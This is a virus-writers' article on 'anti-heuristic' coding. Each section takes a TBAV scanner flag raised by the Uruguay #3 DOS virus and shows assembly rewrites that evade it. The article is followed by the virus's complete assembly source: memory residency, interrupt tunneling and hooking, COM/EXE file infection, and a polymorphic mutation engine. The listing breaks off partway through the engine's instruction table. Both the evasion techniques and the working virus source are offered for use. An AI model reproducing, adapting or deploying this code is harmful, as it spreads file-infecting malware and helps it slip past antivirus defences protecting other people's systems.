
                Black Boxing to confuse AV Companies
                                 or
                  Uruguay Anti-Heuristical Analysis

  Most strains of the Uruguay virus were never intended to be a virus that                                    
spread in the wild.  They either make a ton of noise and/or print warning
messages all over the screen.  It appears to have been written as more of a
mental exercise.  When it was originally released it could be said that it was
a rather hard to find virus.  This "hard to find" ability came from it's
encryption and polymorphic engine.  Because of this it appears that the author
didn't try to use any anti-heuristic code.  However now it's readily scanned by
most virus scanners and it raises quite a few heuristic flags.  TBAV is an                            
anti-virus program that displays the flags and what they mean.  This makes TBAV a
good starting point for anti-heuristic programming.

                        Uruguay #3

         Gen 1   cFALZOBX F susp file access
                          A Susp Memory Allocation
                          L Traps loading of software
                          Z COM/EXE determination
                          O Overwrite/move a program in memory
                          B Back to entry point
                          X Stealth Capabilities

         Non G1 cFA#LZOBX # Decryption routine or debugger trap



                  # Decryption routine or debugger trap

After the 1st generation Uruguay 3 is encrypted so you pick up the # flag
which is difficult to hide.  It does appear that TBAV is not fond of a                                                            
decryption loop that jumps out of the loop then back again.

original_loop:                          |
        xor     cs:[bx]                 | This series of code will set off the
        add     bx,2                    | # in TBAV 8.0
        sub     di,1                    |
        jnz     original_loop           |

Example of jumping out of the loop to screw up TBAV 8.0, the following example
is from Jumping.Jack.Cisplatin which will debut in RSA #1.

        jmp     modified_loop           |
jmpout: xor     cs:[bx]                 | TBAV seems to have a weakness in                                                                
        jmp     over_modified           | following jmp statements.  This code
modified_loop:                          | just exploits it to beat the # flag
        jmp     jmpout                  |
over_modified:                          | This weakness can be exploited for                                                
        add     bx,2                    | many of the other flags that TBAV has.
        jmp     modified_loop           |



                          B Back to entry point

B flag or back to the entry point is a very common flag found in com infectors.
Like any anti-heuristic coding it's just a matter of playing black box.  You
know what you want to come out of the box and you know what set's off TBAV.  So                                                                
the trick is to change what's in the black box to loose the flag.  In the
following section of code TBAV is keying on two pieces of data, the initial
db statement and the mov ax,com_start ..  I have been playing around with
loops lately which can serve our needs.            

com_start       db      100h                    ;
is_com2:        mov      es,ax                  ; Original section of code
                push     ax                     ;
                push     cs                     ;
                pop      es:[2]                 ;
                mov      ax,com_start           ; Sets off B in TBAV 8
                push     ax
                xor      ax,ax                  ;
                |        |                      ; Zero out registers
                xor      bp,bp                  ;
                retf
                
Instead of a plain mov statement and since you are zeroing out the registers                       
try replacing the mov ax,com_start with this.

                mov     cx,000#                 ; set up # of reps for loop
                mov     ax,100h+# of reps       ; make ax large enough so that
        loop1:  dec     ax                      ; when the loop is done ax is
                loop    loop1                   ; equal the value you want.

                          
                          
                          A Susp Memory Allocation

A flag for suspicious memory allocation is not common unless your trying to do
something tricky.  Uruguay uses some tunneling to get what it wants.  In this
particular case the tunneling routine itself is the culprit.

tunneled_13     dw      ?,?
no_succ1:
               mov       al,13h
               call      get_int_al             ;
               mov       cs:tunneled_13,bx      ; Due to the nature of tunneling
               mov       cs:tunneled_13+2,es    ; and they way it's done there
               mov       al,13h                 ; may be no easy way around it.
               call      tunnel_al              ; Or is there ?  :)
               cmp       cs:tun_success,1       ; 
               jnz       no_succ2               ;
               mov       ax,cs:tunneled_offs    ;
               mov       cs:tunneled_13,ax      ; Sets off A in TBAV                                                    
               mov       ax,cs:tunneled_seg
               mov       cs:tunneled_13+2,ax


                          X Stealth Capabilities

This type of code comes in handy since it can hide what your doing.  However 
I can't think of a single application for stealth other than a virus.  So this
flag would be a dead give away.  If any anti-virus program key's on seeing
a value in ax followed by a int statement then it's fairly easy to confuse em.
There are any number of approaches for this, loop's as shown earlier, xor/not's
will also work well.  NOT's are nice, but they do generate numbers that can
cause a problem.  So be creative with what you come up with and don't stick to
any one method since av companys will start looking for that.

tunnel_al:
               call     get_int_al              ; get int vector
               mov      cs:old_vector,bx
               mov      cs:old_vector+2,es
               mov      cs:tun_success,0        ; clear success flag
; Beginning of setting off TBAV X
               mov      ax,1203h
               int      2fh                     ; get DOS-data area segment
; End of setting off TBAV X
               mov      cs:tunneled_seg,ds
               cli
               pushf
               
Try this for an alternative to the plain mov ax,1203h / int 2fh  ...
        
        mov     ax,122Ch
        xor     ax,2fh
        int     2fh


                          L Traps loading of software

Trapping loading software is a very common problem flag that shows up in most
every memory resident viruses.  The offensive piece of code can be reworked with                      
any number of methods.  It won't take much to subvert previously discussed
methods to our needs.

int_21:        pushf
               sti
               mov      cs:int21_AX,ax          ; save AX
; Beginning of sets off TBAV L
               cmp      ax,4b00h                ; Run a program ?
; End of sets off TBAV L
               jz       try_it                  ; Yes
               cmp      ax,3d00h                ; Open a file for reading ?
               jnz      test1                   ; No
               call     test_exec       ; Check if it seems to be executable
               jb       nothin          ; No does not look like executable

Taking a simple approach to our problem we are doing nothing more than the
following, mov int21_ax,ax / cmp ax,4b00h.  Try taking a look at using a simple
xchg sequence to throw the hounds off the trail: mov int21_ax,ax / xchg ah,al /
cmp ax,004bh.  The xchg is a fairly popular and easy to use anti-heur method
that owes its popularity to it's ease of use and it's low impact nature.

                        
                        
                        F Suspicious file access

This particular flag can be a pain in the rump to get rid of.  This is due to
TBAV changing the values and combinations of values that they look for.                  
Since this can be a combination of pieces of code and values a little patience
is required.  You will find that after you have found the offending code that
it is almost always just a simple check for x_value prior to an int statement.
We have made our black box of loops, xchg's, xor's and not's which are usually 
easy to implement.  These methods can be used in many combinations, but there    
is a slightly larger idea that can be as effective.  For TBAV to work it has to
be able to emulate what you are doing to see where it may lead to.  To turn the
tables on TBAV or any AV company for that fact you just need to do something 
they can't emulate.

close_file:
               mov      ah,3eh                  ; close the file
               call     call_old_21
               pop      dx
               pop      ds
; Beginning of Sets off TBAV F
               mov      ax,4301h                ; restore original file
; End of Sets off TBAV F
               mov      cx,cs:file_attr         ; attributes
               cmp      cx,20h
               jz       leave_21
               call     call_old_21
               
This following solution can be highly effective but also very troublesome since
it can lead to other flags.  This example (originally from Tiffany.Towers.440)
was meant for other purposes but can be twisted to our needs.  The down side
to this is that it increases virus size by a bit along with possibly raising a                                                           
flag for an Undocumented DOS call.  Take a look at Ralph Brown's Interrupt list
if you want a feel of just how many ungodly combinations there are.

        mov     ax,2f00h               ;anti-heuristics, makes ax=8600h
        int     15h                    ;
        sub     ax,some#               ;8600h-some# to get the value you want



                          Z COM/EXE determination

Probably one of the most common flag's raised this one can take a bit of
imagination in beating.  Most programmers new to field have this flag although
some higher level viruses also suffer from this.  Uruguay being an example of
an advanced virus suffering from a beginners problem.  The encryption and
polymorphic nature of this virus were the authors solution to this problem.  
TBAV has been known to look for several things to raise this flag, everything 
from defining search variables (com_file  db  '.com') to looking for the exe 
header check.  The header check is what's raising the flag in the following 
instance.


               mov      di,offset first_three
               mov      ax,cs
               mov      es,ax
; Beginning of Sets of TBAV Z
               cmp     word ptr es:[di],05A4Dh  ; EXE ?
               jz      exe_is                   ; Yes
; End of Sets of TBAV Z
               cmp     word ptr es:[di],04D5Ah  ; EXE ?
               jnz     com_is                   ; No it is com

Probably the easiest way I can think of around this is to just change what your
looking for.  IE if your looking for 05A4Dh change the comp to 05A4xh (x being
D + or - a number) and adding or subtracting that number from ax.


                Contributors for this article:

        Malware who took the time to disassemble Urugay #3
        Armand that's me, who took the time to chase the code
        Anonymous tech support and spell checker
        AUTHOR of Uruguay = Hey send me your latest work ? sok@int21h.org

==================== Complete Source Code for Uruguay #3 ==================
;---------------------------------------------------------------------------;
; Title: Uruguay#3 by F3161                                                 ;
; (c) 1995    Malware Technology                                            ;
; Thanks to Metabolis for the spelling corrections.                         ;
; Disclaimer: Malware Technology is not responsible for any problems        ;
;             caused due to assembly of this.                               ;
;---------------------------------------------------------------------------;

code            segment para 'code'
        assume cs:code

start:          jmp start2

timer           equ 046Ch       ; at 0:046Ch the lower byte of the system time
                                ; counter is stored
com_start       equ 0100h       ; at offset 100h a COM-program starts

tunneled_13     dw  ?,?         ; vector of the tunneled int 13h
old_13          dw  ?,?         ; original vector of int 13h
tunneled_21     dw  ?,?         ; vector of the tunneled int 21h
old_24          dw  ?,?         ; original vector of int 24h
old_2A          dw  ?,?         ; original vector of int 2ah
first_three     db  0CDh,020h,? ; original first three bytes of host program
first_int21     db  ?,?,?,?,?   ; original first 5 bytes of tunneled int 21h
new_three       db  0E9h, ?, ?  ; first three bytes at the beginning of an
                                ; infected program
is_exe          db  0           ; host was an exe-file
exe_launch      dw  ?,?         ; address of the exe-launcher program
verify          db  ?           ; original verify-flag
int13_error     db  ?           ; error flag for virus' int 13h
int21_AX        dw  ?           ; here AX is stored during virus' int 21h
command_com     db  'COMMAND'
com_file        db  '.COM'
exe_file        db  '.EXE'
file_attr       dw  ?           ; original file attributes of new host
file_size       dw  ?           ; original file size of new host
file_date       dw  ?           ; original date/time of new host
file_time       dw  ?

start2:         cld
                call    flex1           ; flexible entrypoint
flex1:          pop     bx              ; get offset of flex1
                push    cs
                push    bx
                mov     ah,2
                mov     si,bx
                add     si,offset text - offset flex1   
                                        ; offset off the message
                xor     ax,ax
                mov     es,ax
                mov     cl,es:[timer]   ; get lower byte of timer as random
                or      cl,cl           ; is zero ?
                jnz     no_text         ; no then do not show the text
                mov     ah,2
                mov     dl,75h          ; initial decryption value
                in      al,61h
                or      al,3
                out     61h,al
next_char1:     mov     al,0b6h
                out     43h,al
                mov     al,dl
                out     42h,al
                lodsb                   ; get one char
                out     42h,al
                xor     al,dl
                or      al,al           ; is zero ?
                jz      text_end        ; yes then this was the end of the text
                mov     dl,al
                int     21h             ; print the char on screen
                inc     cl
wait1:          cmp     es:[timer],cl
                jnz     wait1
                jmp     next_char1      ; show next char
text_end:       in      al,61h
                and     al,0fch
                out     61h,al
                add     cl,5ah
wait2:          cmp     es:[timer],cl
                jnz     wait2

no_text:        push    cs
                pop     es
                ; Set exe-launcher adress
                mov     word ptr [bx + offset exe_launch - offset flex1 + 2],cs
                mov     ax,offset launch_exe - offset flex1
                add     ax,bx
                mov     word ptr [bx + offset exe_launch - offset flex1],ax
                ; Restore first three bytes
                mov     si,offset first_three - offset flex1
                add     si,bx
                mov     di,com_start
                movsb
                movsw
                ; Installation check
                mov     ax,3032h
                mov     dx,1234h
                int     21h
                cmp     ax,5678h
                jnz     make_resident
                ; Restart original programm
                pop      bx
                pop      ax
                cmp      byte ptr [bx + offset is_exe - offset flex1],1
                jnz      is_com1        ; no host was a com-file
                jmp      dword ptr cs:[bx + offset exe_launch - offset flex1]
                                        ; jump to exe-launcher
is_com1:        push     ax
                mov      ax,com_start
                push     ax
                xor      ax,ax
                xor      bx,bx
                xor      cx,cx
                xor      dx,dx
                xor      si,si
                xor      di,di
                xor      bp,bp
                retf

make_resident:  ; Block Keyboard
                mov      al,74h
                out      43h,al
                mov      al,0aah
                out      41h,al
                mov      al,0
                out      41h,al
                ; Find last MCB
                mov      ax,cs
                dec      ax
mcb_loop:       mov      ds,ax
                cmp      byte ptr ds:[0],5Ah
                jz       last_mcb
                add      ax,word ptr ds:[3]
                inc      ax
                jmp      mcb_loop
                ; Allocate memory from last MCB
last_mcb:       mov      ax,13F4h               ; ***
                shr      ax,1
                shr      ax,1
                shr      ax,1
                shr      ax,1
                inc      ax
                sub      word ptr ds:[3],ax
                ; Calculate allocated segment
                mov      ax,ds
                add      ax,word ptr ds:[3]
                inc      ax
                ; Copy virus to new segment
                mov      es,ax
                pop      si
                sub      si,offset flex1
                xor      di,di
                push     cs
                pop      ds
                mov      cx,offset virus_length
                cld
                rep      movsb
                ; startover in new segment
                mov      cx,offset start_over
                push     ax
                push     cx
                retf

                ; startover point here
start_over:     call     tunnel         ; tunnel int 13h and 21h
                call     patch_21       ; install int 21h
                ; start original program
                pop      ax
                cld
                cmp      is_exe,1
                mov      ds,ax
                jnz      is_com2
                jmp      dword ptr cs:[exe_launch]
is_com2:        mov      es,ax
                push     ax
                push     cs
                pop      es:[2]
                mov      ax,com_start
                push     ax
                xor      ax,ax
                xor      bx,bx
                xor      cx,cx
                xor      dx,dx
                xor      si,si
                xor      di,di
                xor      bp,bp
                retf

        ; Set int AL vector to DS:DX
set_int_al:
                pushf
                push     bx
                push     es
                mov      ah,0
                shl      ax,1
                shl      ax,1
                mov      bx,ax
                xor      ax,ax
                mov      es,ax
                cli
                mov      es:[bx],dx
                mov      es:[bx+2],ds
                pop      es
                pop      bx
                popf
                ret

; Get int AL vector into ES:BX  
get_int_al:
                pushf
                mov      ah,0
                shl      ax,1
                shl      ax,1
                mov      bx,ax
                xor      ax,ax
                mov      es,ax
                cli
                les      bx,es:[bx]
                popf
                ret

text    DB 78h, 07h, 2Dh, 72h, 27h, 07h, 12h, 12h, 14h, 18h, 54h, 0Eh, 10h, 14h, 07h, 76h
        DB 3Fh, 1Bh, 07h, 06h, 7Eh, 07h, 5Ah, 22h, 1Dh, 08h, 15h, 13h, 0Ch, 00h, 08h, 01h
        DB 44h, 49h, 07h, 4Eh, 6Dh, 22h, 01h, 1Ah, 11h, 13h, 1Fh, 0Dh, 01h, 0Ah, 4Fh, 08h
        DB 7Dh, 07h, 07h, 12h, 12h, 14h, 18h, 70h, 09h, 42h, 1Bh, 59h, 66h, 75h, 02h, 07h
        DB 07h, 1Fh, 0Eh, 10h, 06h, 19h, 16h, 0Bh, 1Ch, 23h, 07h, 5Eh, 3Ch, 01h, 1Ah, 53h
        DB 49h, 1Ah, 53h, 41h, 41h, 52h, 17h, 16h, 16h, 04h, 13h, 11h, 0Bh, 48h, 56h, 1Fh
        DB 1Bh, 07h, 06h, 53h, 0Dh, 0Dh, 64h, 0Bh, 6Fh, 6Eh, 01h, 1Bh, 74h, 64h, 0Dh, 1Ah
        DB 07h, 06h, 1Bh, 0Bh, 17h, 01h, 11h, 6Bh, 23h, 07h, 07h, 07h, 0Ah

;----------------------------------------------------------------------
; Tunneler code here
;----------------------------------------------------------------------

tunneled_seg   dw        ?              ; segment of tunneled int
old_vector     dw        ?,?            ; old vector of int to tunnel
old_int01      dw        ?,?            ; old int 01 vector
tun_success    db        ?              ; tunneling was successful
tunneled_offs  dw        ?              ; offset of tunneled int
tun_AX         dw        ?              ; AX is saved here during int 01
tun_BP         dw        ?              ; BP is saved here during int 01

        ; the tunnelers int 01 (single-step-interrupt)
tun_int01:
               cmp       byte ptr cs:tun_success,1      ; was successful ?
               jnz       tun_goon               ; no then try to tunnel now
               iret
tun_goon:      mov       cs:tun_AX,ax                   ; save registers
               mov       cs:tun_BP,bp
               mov       bp,sp
               mov       ax,[bp+2]      ; segment of interrupted routine
               cmp       ax,cs:tunneled_seg     ; after DOS-data area ?
               ja        no_success             ; yes then it is useless
               mov       cs:tunneled_seg,ax     ; else save the segment
               mov       cs:tun_success,1       ; set success flag
               mov       ax,[bp+4]              ; switch single step mode off
               and       ax,0FEFFh
               mov       [bp+4],ax
               mov       ax,[bp]                ; save offset of
               mov       cs:tunneled_offs,ax    ; interrupted routine
no_success:    mov       ax,cs:tun_AX           ; restore registers
               mov       bp,cs:tun_BP
               iret


        assume  ds:code


; Tunnel int 21h and 13h
tunnel:
               mov       al,1
               call      get_int_al             ; get int 01 vector
               push      cs
               pop       ds
               mov       old_int01,bx           ; and save it
               mov       old_int01+2,es
               mov       al,1
               mov       dx,offset tun_int01
               call      set_int_al             ; set new int 01
               mov       al,21h
               call      get_int_al             ; get int 21h vector
               mov       tunneled_21,bx         ; and save it
               mov       tunneled_21+2,es
               mov       al,21h
               call      tunnel_al              ; tunnel int 21h
               cmp       cs:tun_success,1       ; was successful
               jnz       no_succ1               ; no
               mov       ax,cs:tunneled_offs    ; else save result
               mov       cs:tunneled_21,ax
               mov       ax,cs:tunneled_seg
               mov       cs:tunneled_21+2,ax
no_succ1:      mov       al,13h
               call      get_int_al             ; get int 13h vector
               mov       cs:tunneled_13,bx
               mov       cs:tunneled_13+2,es
               mov       al,13h
               call      tunnel_al              ; tunnel int 13h
               cmp       cs:tun_success,1       ; was successful
               jnz       no_succ2               ; no
;               mov       ax,cs:tunneled_offs    ; else save result
;               mov       cs:tunneled_13,ax
               mov       ax,cs:tunneled_seg
               mov       cs:tunneled_13+2,ax
no_succ2:      mov       al,1
               lds       dx,dword ptr cs:old_int01
               call      set_int_al             ; restore old int 01 vector
               ret


        ; tunnel int AL
tunnel_al:
               call     get_int_al              ; get int vector
               mov      cs:old_vector,bx
               mov      cs:old_vector+2,es
               mov      cs:tun_success,0        ; clear success flag
               mov      ax,1203h
               int      2fh                     ; get DOS-data area segment
               mov      cs:tunneled_seg,ds
               cli
               pushf
               pop      ax
               or       ax,0100h                ; switch single step mode on
               push     ax
               popf
               mov      ah,0ffh                 ; just to make sure it runs
               mov      dl,0                    ; trough all instances of
               pushf                            ; the interrupt chain
               call     dword ptr cs:old_vector ; call the int
               pushf
               pop      ax
               and      ax,0FEFFh               ; switch single step mode off
               push     ax
               popf
               sti
               ret


               db       20 dup (?)

;--------------------------------------------------------------------------
; The infector code
;--------------------------------------------------------------------------

        ; critical error handler
int_24:        mov      al,0
               iret

        ; int 13h with error flag
int_13:        cmp      cs:int13_error,1        ; was already an error ?
               jz       int13_failed            ; yes
               pushf                            ; else call tunneled int 13h
               call     dword ptr cs:tunneled_13
               jb       int13_failed            ; error
               retf     2
int13_failed:
               mov      cs:int13_error,1        ; set error flag
               mov      ah,10                   ; error code
               stc
               retf     2

; virus int 21
test1:         cmp      ax,3032h        ; Installation check ?
               jnz      nothin          ; no
               cmp      dx,1234h        ; Installation check ?
               jnz      nothin          ; no
               mov      ax,5678h        ; the magic value
               popf
               iret
nothin:        jmp      end_21

        ; The entry point of int 21h is here
int_21:        pushf
               sti
               mov      cs:int21_AX,ax          ; save AX
               cmp      ax,4b00h                ; Run a program ?
               jz       try_it                  ; Yes
               cmp      ax,3d00h                ; Open a file for reading ?
               jnz      test1                   ; No
               call     test_exec       ; Check if it seems to be executable
               jb       nothin          ; No does not look like executable
try_it:        push     bx
               push     cx
               push     dx
               push     di
               push     si
               push     bp
               push     ds
               push     es
               call     patch_13  ; insert that error flag stuff into int 13h
               mov      si,dx           ; SI := offset of filename
               cld
next_char2:    lodsb
               cmp      al,0            ; last char ?
               jnz      next_char2      ; No, repeat until
               dec      si
               dec      si              ; SI now points to last char before \0
               std
               mov      di,offset command_com + 10
               push     cs
               pop      es
               mov      cx,11
               repz     cmpsb           ; the filename is 'COMMAND.COM' ?
               jnz      not_command_com         ; no is not
               jmp      leave_21
not_command_com:
               mov      cs:is_exe,0             ; clear is_exe flag
               mov      ax,4300h
               call     call_old_21             ; get file attributes
               mov      cs:file_attr,cx
               jnb      goon1
               jmp      leave_21
goon1:         mov      ax,cx
               and      ax,4                    ; system file ?
               jz       goon2                   ; no
               jmp      leave_21
goon2:         cmp      cx,20h
               jz       is_archived
               mov      ax,4301h                ; set new file attributes
               mov      cx,20h
               call     call_old_21
               cmp      cs:int13_error,1
               jnz      is_archived
               jmp      leave_21
is_archived:   push     ds
               push     dx
               mov      ax,3d02h                ; open file for read/write
               call     call_old_21
               mov      bx,ax
               mov      ax,4202h                ; seek to end of file
               xor      cx,cx
               xor      dx,dx
               call     call_old_21
               or       dx,dx                   ; file < 10000h ?
               jnz      close_file              ; no
               cmp      ax,0F400h               ; file < 0F400h ?
               ja       close_file              ; no
               cmp      ax,0200h                ; file > 00200h ?
               jbe      close_file              ; no
               mov      cs:file_size,ax         ; save file size
               push     ax
               mov      cx,17h
               div      cx
               pop      ax
               or       dx,dx                   ; filesize MOD 17h = 0 ?
               jz       close_file      ; yes, then seems to be infected
               call     exe_or_com  ; determine whether the file is exe or com
               mov      ah,40h                  ; write new first three bytes
               mov      cx,3
               push     cs
               pop      ds
               mov      dx,offset new_three
               call     call_old_21
               cmp      cs:int13_error,1
               jz       close_file
               mov      ax,4202h                ; seek to 1 Byte after the end
               xor      cx,cx                   ; of the file
               mov      dx,1
               call     call_old_21
               mov      ax,cs:file_size
               add      ax,com_start
               mov      cs:start_offset,ax      ; starting offset for the
                                                ; decryptor
               call     mutate          ; the polymorph engine of the uruguay
               call     round_size      ; make file size multiple of 17h
               mov      ah,40h          ; append the virus to the file
               mov      dx,offset virus_length
               push     cs
               pop      ds
               call     call_old_21
               mov      ax,5701h        ; restore original date/time of file
               mov      cx,cs:file_date
               mov      dx,cs:file_time
               call     call_old_21
close_file:    mov      ah,3eh                  ; close the file
               call     call_old_21
               pop      dx
               pop      ds
               mov      ax,4301h                ; restore original file
               mov      cx,cs:file_attr         ; attributes
               cmp      cx,20h
               jz       leave_21
               call     call_old_21
leave_21:      call     unpatch_13   ; remove the error flag stuff from int 13h
               pop      es
               pop      ds
               pop      bp
               pop      si
               pop      di
               pop      dx
               pop      cx
               pop      bx
               jmp      end_21

               db       3 dup (?)

call_old_21:   call     unpatch_21
               pushf
               call     dword ptr cs:tunneled_21
               call     patch_21
               ret

end_21:        push     bx
               push     dx
               push     ds
               push     es
               call     unpatch_21      ; uninstall int 21h
               mov      ax,cs
               mov      ds,ax
               mov      al,2ah
               call     get_int_al      ; get int 2Ah vector
               mov      old_2a,bx       ; and save it
               mov      old_2a+2,es
               mov      al,2ah
               mov      dx,offset int_2a
               call     set_int_al      ; set new int 2Ah
               pop      es
               pop      ds
               pop      dx
               pop      bx
               popf
               mov      ax,cs:int21_AX  ; restore AX
               jmp      dword ptr cs:tunneled_21   ; jump to original int 21h

; This int is allways called by DOS' int 21h
int_2a:        push     ax
               push     dx
               push     ds
               call     patch_21        ; install int 21h again
               mov      al,2ah
               lds      dx,dword ptr cs:old_2a
               call     set_int_al      ; restore old int 2ah vector
               pop      ds
               pop      dx
               pop      ax
               jmp      dword ptr cs:old_2a     ; jump to old int 2ah


; Install the int 21h patch
patch_21:      pushf
               push     ax
               push     si
               push     di
               push     ds
               push     es
               lds      si,dword ptr cs:tunneled_21
               push     cs
               pop      es
               mov      di,offset first_int21
               cld
               movsb            ; Save first five bytes of code from
               movsw            ; tunneled int 21h
               movsw
               les      di,dword ptr cs:tunneled_21
               mov      al,0EAh
               stosb            ; insert a JMP FAR there
               mov      ax,offset int_21
               stosw
               mov      ax,cs
               stosw
               pop      es
               pop      ds
               pop      di
               pop      si
               pop      ax
               popf
               ret

; Removes the int 21h patch
unpatch_21:    pushf
               push     si
               push     di
               push     ds
               push     es
               push     cs
               pop      ds
               mov      si,offset first_int21
               les      di,dword ptr tunneled_21
               cld
               movsb            ; Restore first five byte of tunneled
               movsw            ; int routine
               movsw
               pop      es
               pop      ds
               pop      di
               pop      si
               popf
               ret

; Install the int 13h add-on
patch_13:      push     bx
               push     dx
               push     ds
               push     es
               mov      ah,54h
               call     call_old_21
               mov      cs:verify,al    ; Get DOS-verify flag and save it
               mov      ax,2e00h                ; then turn verify off
               call     call_old_21
               mov      al,24h
               call     get_int_al              ; Get int 24h vector
               mov      cs:old_24,bx
               mov      cs:old_24+2,es
               mov      al,24h
               mov      dx,offset int_24
               push     cs
               pop      ds                      ; set new critical error
               call     set_int_al              ; handler (int 24h)
               mov      al,13h
               call     get_int_al              ; get int 13h vector
               mov      cs:old_13,bx
               mov      cs:old_13+2,es
               mov      al,13h
               mov      dx,offset int_13
               push     cs
               pop      ds
               call     set_int_al              ; set new int 13h
               mov      cs:int13_error,0        ; clear the error flag
               pop      es
               pop      ds
               pop      dx
               pop      bx
               ret

; Remove the int 13h add-on
unpatch_13:    mov      ax,cs:old_24+2
               mov      ds,ax
               mov      dx,cs:old_24
               mov      al,24h
               call     set_int_al              ; restore old int 24h
               mov      ds,cs:old_13+2
               mov      dx,cs:old_13
               mov      al,13h
               call     set_int_al              ; restore old int 13h
               mov      ah,2eh                  ; restore DOS-verify flag
               mov      al,cs:verify
               call     call_old_21
               ret

; Determine whether a program is com or exe
; Input: ax = filesize
;        is_exe = 0
exe_or_com:    dec      ax
               dec      ax                      ; => filesize - 2
               mov      word ptr cs:new_three+1,ax      ; save jump-in offset
               mov      ax,5700h                ; get file's date/time
               call     call_old_21
               mov      cs:file_date,cx         ; and save them
               mov      cs:file_time,dx
               mov      ax,4200h                ; seek to top of file
               xor      cx,cx
               xor      dx,dx
               call     call_old_21
               mov      ah,3fh                  ; read first three byte
               mov      cx,3                    ; to buffer first_three
               push     cs
               pop      ds
               mov      dx,offset first_three
               call     call_old_21
               mov      di,offset first_three
               mov      ax,cs
               mov      es,ax
               cmp     word ptr es:[di],05A4Dh  ; EXE ?
               jz      exe_is                   ; Yes
               cmp     word ptr es:[di],04D5Ah  ; EXE ?
               jnz     com_is                   ; No it is com
exe_is:        mov     cs:is_exe,1              ; set is_exe flag
com_is:        mov     ax,4200h                 ; again seek to top of file
               xor     cx,cx
               xor     dx,dx
               call    call_old_21
               ret

; make the filesize of an infected program a multiple of 17h
round_size:    push     ax
               push     bx
               push     dx
               push     cx
               add      cx,cs:file_size         ; virus + hosts size
               mov      ax,cx
               xor      dx,dx
               mov      bx,17h
               div      bx
               mov      bx,17h
               sub      bx,dx                   ; => 17h - (size MOD 17h)
               pop      cx
               add      cx,bx                   ; add the fix-up
               dec      cx
               pop      dx
               pop      bx
               pop      ax
               ret

; test if a file fits into '*.COM' or '*.EXE'
test_exec:     push     ax
               push     si
               push     di
               push     es
               mov      si,dx
               push     cs
               pop      es
               cld
next_char3:    lodsb                            ; load a char
               or       al,al                   ; last ?
               jnz      next_char3              ; no, repeat until
               sub      si,5
               mov      di,offset com_file
               mov      cx,4
               push     si
               push     cx
               repz     cmpsb                   ; compare with '.COM'
               pop      cx
               pop      si
               jz       executable              ; ok is .COM
               mov      di,offset exe_file
               mov      cx,4
               repz     cmpsb                   ; compare with '.EXE'
               jz       executable              ; ok is .EXE
               pop      es
               pop      di
               pop      si
               pop      ax
               stc                      ; is neither .COM nor .EXE
               ret
executable:    pop      es
               pop      di
               pop      si
               pop      ax
               clc                      ; ok has a executable extension
               ret

;--------------------------------------------------------------------
; The EXE-launcher
;--------------------------------------------------------------------
; This piece of code is run in the PSP-Segment of an infected program
; that once was an exe-file to do the relocation stuff.

launch_exe:    call     flex2           ; flexible entry point
flex2:         pop      bx              ; get offset of flex2
               mov      ax,cs
               mov      ds,ax
               mov      es,ax
               add      ax,010h         ; right after PSP-Segment
                                        ; it is the base segment for relocation
               mov      cx,ds:[com_start+0Eh]   ; initial SS
               add      cx,ax                   ; relocate
               push     cx
               mov      cx,ds:[com_start+16h]   ; initial CS
               add      cx,ax                   ; relocate
               mov      word ptr ds:[bx+offset jmp_far- offset flex2 +3],cx
                                                ; save into JMP FAR
               mov      dx,ds:[com_start+10h]   ; initial SP
               push     dx
               mov      dx,ds:[com_start+14h]   ; initial IP
               mov      word ptr ds:[bx+offset jmp_far- offset flex2 +1],dx
                                                ; save into JMP FAR
               mov      di,ds:[com_start+18h]   ; offset of relocation table
               mov      dx,ds:[com_start+08h]   ; size of exe-header
               mov      cl,4
               shl      dx,cl                   ; => byte size of exe-header
               mov      cx,ds:[com_start+06h]   ; number of entries
               jcxz     no_reloc                ; there are no entries
reloc_loop:    lds      si,cs:[com_start+di]    ; load address to relocate
               add      di,4                    ; next entry
               mov      bp,ds
               add      bp,cs:[com_start+08h]   ; add size of exe-header
               add      bp,ax                   ; add base segment
               mov      ds,bp                   ; put it back in DS
               add      word ptr ds:[si],ax     ; now relocate there
               loop     reloc_loop              ; do for all entries
no_reloc:      push     cs
               pop      ds
               mov      di,com_start
               mov      si,dx
               add      si,di
               mov      cx,bx
               sub      cx,si
               cld
               rep      movsb           ; delete all the header stuff
               pop      ax
               pop      bx
               cli
               mov      ss,bx
               mov      sp,ax
               sti
               xor      ax,ax
               xor      bx,bx
               xor      dx,dx
               xor      si,si
               xor      di,di
               xor      bp,bp
jmp_far        db       0EAh, ?,?,?,?   ; jump into the program


;--------------------------------------------------------------------
; The Mutation Engine of the uruguay
;--------------------------------------------------------------------

        ; 10 one-byte dummy instructions
one_byte          DB            0F8h            ; CLC           ; 069B
                  DB            0FCh            ; CLD
                  DB            0F5h            ; CMC
                  DB            0F9h            ; STC
                  DB            0FBh            ; STI
                  DB            090h            ; NOP
                  DB            042h            ; INC DX
                  DB            045h            ; INC BP
                  DB            04Ah            ; DEC DX
                  DB            04Dh            ; DEC BP

        ; 55 two-byte dummy instructions
two_byte          DW            0D003h            ; ADD DX,AX   ; 06A5
                  DW            0D303h            ; ADD DX,BX
                  DW            0D103h            ; ADD DX,CX
                  DW            0D203h            ; ADD DX,DX
                  DW            0D603h            ; ADD DX,SI
                  DW            0D013h            ; ADC DX,AX
                  DW            0D313h            ; ADC DX,BX
                  DW            0D113h            ; ADC DX,CX
                  DW            0D213h            ; ADC DX,DX
                  DW            0D613h            ; ADC DX,SI
                  DW            0D503h            ; ADD DX,BP
                  DW            0EA03h            ; ADD BP,DX
                  DW            0D513h            ; ADD DX,BP
                  DW            0EA13h            ; ADC BP,DX
                  DW            000EBh            ; JMP $+2
                  DW            05A55h            ; PUSH BP; POP DX
                  DW            05D52h            ; PUSH DX; POP BP
                  DW            0DAF7h            ; NEG DX
                  DW            0DDF7h            ; NEG BP
                  DW            0DAF6h            ; NEG DL
                  DW            0DEF6h            ; NEG DH
                  DW            0D2F7h            ; NOT DX
                  DW            0D5F7h            ; NOT BP
                  DW            0D2F6h            ; NOT DL
                  DW            0D6F6h            ; NOT DH
                  DW            0D00Bh            ; OR DX,AX
                  DW            0D00Ah            ; OR DL,AL
                  DW            0D2D1h            ; RCL DX,1
                  DW            0D5D1h            ; RCL BP,1
                  DW            0DAD1h            ; RCR DX,1
                  DW            0DDD1h            ; RCR BP,1
                  DW            0E2D1h            ; SHL DX,1
                  DW            0E5D1h            ; SHL BP,1
                  DW            0E2D0h            ; SHK DL,1
                  DW            0E6D0h            ; SHL DH,1
                  DW            0E2D1h            ; SHL DX,1
                  DW            0E5D1h            ; SHL BP,1
                  DW            0EAD0h            ; SHR DL,1
                  DW            0EED0h            ; SHR DH,1
                  DW            0C2FEh            ; INC DL
